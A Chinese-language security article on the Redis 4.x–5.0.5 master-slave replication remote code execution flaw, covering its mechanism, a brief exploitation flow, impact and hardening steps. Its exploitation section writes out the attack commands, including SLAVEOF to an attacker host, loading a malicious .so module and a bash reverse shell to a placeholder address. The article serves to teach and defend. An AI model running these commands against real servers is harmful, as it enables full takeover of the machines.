摘要:Redis4.x~5.0.5 版本存在主从复制远程代码执行漏洞,攻击者借助 Redis 主从同步机制,让目标节点同步恶意 so 扩展模块,执行任意系统命令获取服务器 Shell。本文介绍漏洞原理、利用思路与修复加固方案。
前言
Redis 4.x、5.x 版本存在一个高危漏洞:攻击者在能连接 Redis 的前提下,利用主从复制机制,让目标 Redis 作为从节点连接攻击者的恶意 Redis 主机,同步加载恶意 so 模块,最终实现远程代码执行,直接获取服务器 shell。 相比写 SSH 公钥,这种方式成功率更高,不受网站目录、SSH 配置限制。
一、漏洞原理
Redis 支持主从复制,从节点会主动拉取主节点的数据。Redis 4.x/5.x 支持MODULE LOAD加载外部 so 扩展模块,模块里可以写任意系统指令。
攻击流程:
- 攻击者开启一台恶意 Redis 主机,存放恶意
.so漏洞模块; - 执行
SLAVEOF 攻击者IP 端口,让目标 Redis 变成恶意主机的从库; - 主从同步的时候,恶意模块被同步到目标服务器磁盘;
- 使用
MODULE LOAD加载模块,调用模块函数执行系统命令,拿到服务器权限。
前提条件: ① Redis 可访问(未授权或者知道 Redis 密码) ② Redis 版本 4.x ~ 5.0.5 ③ Redis 以 root 权限运行,有写入权限
二、漏洞简单利用流程
# 设置目标成为攻击者机器的从节点
SLAVEOF 1.1.1.1 6379
# 加载恶意模块
MODULE LOAD /tmp/exp.so
# 调用模块执行系统命令
system.exec "bash -i >& /dev/tcp/xxx/9999 0>&1"
三、漏洞危害
攻击者直接在服务器执行任意系统命令,读取服务器所有文件、植入后门、控制整台服务器。
四、漏洞修复方案
-
升级 Redis 版本 升级至 5.0.6 及以上版本,新版本修复模块加载相关风险。
-
禁用 MODULE 命令 在 redis.conf 中重命名禁用 MODULE 命令
rename-command MODULE ""
-
禁止公网访问 Redis 内网部署,防火墙阻断外部 6379 访问。
-
低权限运行 Redis 进程 不要 root 启动 redis。
-
开启 Redis 密码认证
五、补充思考
这个漏洞再次提醒我们:Redis 内置功能强大,一旦暴露给未授权用户,强大功能就全部变成攻击武器。 安全的本质,就是最小权限原则。
免责声明:本文仅用于安全原理学习,严禁非法测试。